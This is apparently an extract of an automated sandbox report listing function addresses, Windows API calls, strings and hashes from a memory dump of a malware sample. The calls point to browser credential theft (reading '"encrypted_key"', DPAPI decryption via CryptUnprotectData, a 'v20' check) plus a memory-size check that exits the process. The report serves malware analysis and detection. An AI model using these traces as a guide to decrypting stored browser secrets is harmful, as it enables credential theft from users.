Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: 5ab39f87e3c408f2a90f24169347c873da2d30c2c471e45419c7dcdc3ee26daa
Instruction ID: 95163f332e2e8486d22fa14c8026e7b1b291c890fe90cbe7f90fb3e747a5c624
Opcode Fuzzy Hash: 5ab39f87e3c408f2a90f24169347c873da2d30c2c471e45419c7dcdc3ee26daa
Instruction Fuzzy Hash: B641B8B6D001086BDB14EBA0EC46FEE773DAB8C300F04855EB7155A1C1EA7557888BE1

Function 004137B0 Relevance: 9.1, APIs: 6, Instructions: 122stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004137D8

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

strtok_s.MSVCRT ref: 00413921

Part of subcall function 0041AB30: lstrlenA.KERNEL32(00000000,?,?,00415DA4,00420ADF,00420ADB,?,?,00416DB6,00000000,?,02F6B968,?,004210F4,?,00000000), ref: 0041AB3B
Part of subcall function 0041AB30: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AB95

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: 6c6fb7d06333238994955fa4e9c6fc16004326b07765d99504ffdab069fb4719
Instruction ID: b6ea97cb77591b20574b5f8bad6a91ea9d9e82a59cceccb6aeafc47a8efa6348
Opcode Fuzzy Hash: 6c6fb7d06333238994955fa4e9c6fc16004326b07765d99504ffdab069fb4719
Instruction Fuzzy Hash: 9541A471E101099BCB04EFA5D945AEEB779AF44314F00801EF51677291EB78AA84CFAA

Function 0040A110 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040A13C
GetFileSizeEx.KERNEL32(000000FF,?), ref: 0040A161
LocalAlloc.KERNEL32(00000040,?), ref: 0040A181
ReadFile.KERNEL32(000000FF,?,00000000,00410447,00000000), ref: 0040A1AA
LocalFree.KERNEL32(00410447), ref: 0040A1E0
CloseHandle.KERNEL32(000000FF), ref: 0040A1EA

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: a501a1be7f016b5cb91172ca14ff62cfed5f90a871d90683b41ae69171fc1efd
Instruction ID: e28607e9d9a2a96074382c0c0d30a82733061daf82e5a8752830093732aacc78
Opcode Fuzzy Hash: a501a1be7f016b5cb91172ca14ff62cfed5f90a871d90683b41ae69171fc1efd
Instruction Fuzzy Hash: 9731FC74A01209EFDB14CF94D845BEE77B5AB48304F10815AE911AB3D0D778AA91CFA6

Function 00415190 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 004151CA
lstrcatA.KERNEL32(?,00421058), ref: 004151E7
lstrcatA.KERNEL32(?,02F6EC98), ref: 004151FB
lstrcatA.KERNEL32(?,0042105C), ref: 0041520D

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414B7C
Part of subcall function 00414B60: FindFirstFileA.KERNEL32(?,?), ref: 00414B93

Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,00420FC4), ref: 00414BC1
Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,00420FC8), ref: 00414BD7
Part of subcall function 00414B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00414DCD
Part of subcall function 00414B60: FindClose.KERNEL32(000000FF), ref: 00414DE2

Strings

cA, xrefs: 00415235, 0041526A, 0041528F, 00415238, 0041526D

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID: cA
API String ID: 2667927680-2872761854
Opcode ID: 4a6ef23028263fd0d14b913685aa1a11d4b65358c76ef53bcbc600c4f6cc3813
Instruction ID: dc16e4b81abbfe3fe676fda19ddb0faac8fab1e973e0b9c2e11f24d889f851c9
Opcode Fuzzy Hash: 4a6ef23028263fd0d14b913685aa1a11d4b65358c76ef53bcbc600c4f6cc3813
Instruction Fuzzy Hash: CD21C8B6E04218A7CB14FB70EC46EED333E9B94300F40455EB656561D1EE78ABC8CB95

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 878a90f34e096d30e7d89448c69a574e23fa6b892c1598a4a852eafceae412f3
Instruction ID: 198c605b63268064c6e3321c907f2861ebf30c0b4d659eb8408d118d522d9ff8
Opcode Fuzzy Hash: 878a90f34e096d30e7d89448c69a574e23fa6b892c1598a4a852eafceae412f3
Instruction Fuzzy Hash: 88014BF0D44308BAEB10DFE0DD4ABAEBB78AB14705F20849EE604B62D0D6785581875D

Function 0040A430 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0040A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040A13C
Part of subcall function 0040A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0040A161
Part of subcall function 0040A110: LocalAlloc.KERNEL32(00000040,?), ref: 0040A181
Part of subcall function 0040A110: ReadFile.KERNEL32(000000FF,?,00000000,00410447,00000000), ref: 0040A1AA
Part of subcall function 0040A110: LocalFree.KERNEL32(00410447), ref: 0040A1E0
Part of subcall function 0040A110: CloseHandle.KERNEL32(000000FF), ref: 0040A1EA

Part of subcall function 00418FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418FE2

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 0040A489

Part of subcall function 0040A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 0040A23F
Part of subcall function 0040A210: LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 0040A251
Part of subcall function 0040A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 0040A27A
Part of subcall function 0040A210: LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 0040A28F

memcmp.MSVCRT(?,DPAPI,00000005), ref: 0040A4E2

Part of subcall function 0040A2B0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 0040A2D4
Part of subcall function 0040A2B0: LocalAlloc.KERNEL32(00000040,00000000), ref: 0040A2F3
Part of subcall function 0040A2B0: memcpy.MSVCRT(?,?,?), ref: 0040A316
Part of subcall function 0040A2B0: LocalFree.KERNEL32(?), ref: 0040A323

Strings

DPAPI, xrefs: 0040A4D9
"encrypted_key":", xrefs: 0040A480
, xrefs: 0040A511

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 3731072634-738592651
Opcode ID: 3546a86eb936ed4601ea7f7df7f132c244f3b6ed9baf1d47a95fb4f7817735a7
Instruction ID: 27b9d937d1eb2b37959d1b0821c640950517226354c316aa9f1795df4e4508dc
Opcode Fuzzy Hash: 3546a86eb936ed4601ea7f7df7f132c244f3b6ed9baf1d47a95fb4f7817735a7
Instruction Fuzzy Hash: 323152B6D00209ABCF04DBD4DC45AEFB7B8BF58304F44456AE901B7281E7389A54CB6A

Function 00417F90 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417FC7
HeapAlloc.KERNEL32(00000000), ref: 00417FCE
RegOpenKeyExA.KERNEL32(80000002,02F71A68,00000000,00020119,?), ref: 00417FEE
RegQueryValueExA.KERNEL32(?,02F75FE8,00000000,00000000,000000FF,000000FF), ref: 0041800F
RegCloseKey.ADVAPI32(?), ref: 00418022

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 7a9c0ba5048ddb27ec33de3f8be0389340df971bddb9b3c1683f2c2c2fb7b9da
Instruction ID: 7366865410052b2090c980cb0782fc53e6cc971cacc9a0cbb18d91746b71e1a2
Opcode Fuzzy Hash: 7a9c0ba5048ddb27ec33de3f8be0389340df971bddb9b3c1683f2c2c2fb7b9da
Instruction Fuzzy Hash: 981151B1E45209EBD700CF94DD45FBFBBB9EB48B11F10421AF615A7280E77959048BA2

Function 004012A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
HeapAlloc.KERNEL32(00000000), ref: 004012BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
RegCloseKey.ADVAPI32(?), ref: 004012FF

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 105a35557efbe30c530503ad4a66e3d917ab5a2bcfe7a77369b2bd71da3f475d
Instruction ID: b0bfc99e0bb5f41d030d85d97ebb5ad9faa7414484ca5a523084a8432581bb26
Opcode Fuzzy Hash: 105a35557efbe30c530503ad4a66e3d917ab5a2bcfe7a77369b2bd71da3f475d
Instruction Fuzzy Hash: D1013179E45209BFDB00DFD0DC49FAE7779EB48701F00419AFA05A7280E770AA008B91

Function 0040A7D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(02F6EE58,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,004102B3), ref: 0040A7ED
LoadLibraryA.KERNEL32(02F75E28,?,?,?,?,?,?,?,?,?,?,?,004102B3), ref: 0040A876

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041AB30: lstrlenA.KERNEL32(00000000,?,?,00415DA4,00420ADF,00420ADB,?,?,00416DB6,00000000,?,02F6B968,?,004210F4,?,00000000), ref: 0041AB3B
Part of subcall function 0041AB30: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AB95

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

SetEnvironmentVariableA.KERNEL32(02F6EE58,00000000,00000000,?,0042137C,?,004102B3,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00420B0A), ref: 0040A862

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0040A7E2, 0040A7F6, 0040A80C

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: 2b6dc6e383eab2ca2d655302cedf4fd0ce8caf7bb2ea2f30e1d8f5f64a8062c1
Instruction ID: e2f153a25b0241b5b599166127738bab9ecbab10861abf647739b816a1383ce1
Opcode Fuzzy Hash: 2b6dc6e383eab2ca2d655302cedf4fd0ce8caf7bb2ea2f30e1d8f5f64a8062c1
Instruction Fuzzy Hash: 63415BB1E0A2049BC704EBA5EC55BAE37B6AB08305F44552BF505A32E0FB386954CB67

Function 0040A990 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00418CF0: GetSystemTime.KERNEL32(?,02F71008,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040AA11
lstrlenA.KERNEL32(00000000,00000000), ref: 0040AB2F
lstrlenA.KERNEL32(00000000), ref: 0040ADEC

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 0040A560: memcmp.MSVCRT(?,v20,00000003), ref: 0040A57D

DeleteFileA.KERNEL32(00000000), ref: 0040AE73

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTimememcmp
String ID:
API String ID: 257331557-0
Opcode ID: badd0b16bebf4880951e4b22bfce0ef8fa2e65dd17f4c9611185429b7f8720ee
Instruction ID: 5dfe8597df33c788f82f0551f3ba8d02d272d38f024b71a471f8e3c501a58f6f
Opcode Fuzzy Hash: badd0b16bebf4880951e4b22bfce0ef8fa2e65dd17f4c9611185429b7f8720ee
Instruction Fuzzy Hash: A9E134729111089BCB04FBA5DC66EEE7339AF14314F40855EF11672091EF387A9CCB6A

Function 0040D880 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00418CF0: GetSystemTime.KERNEL32(?,02F71008,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D901
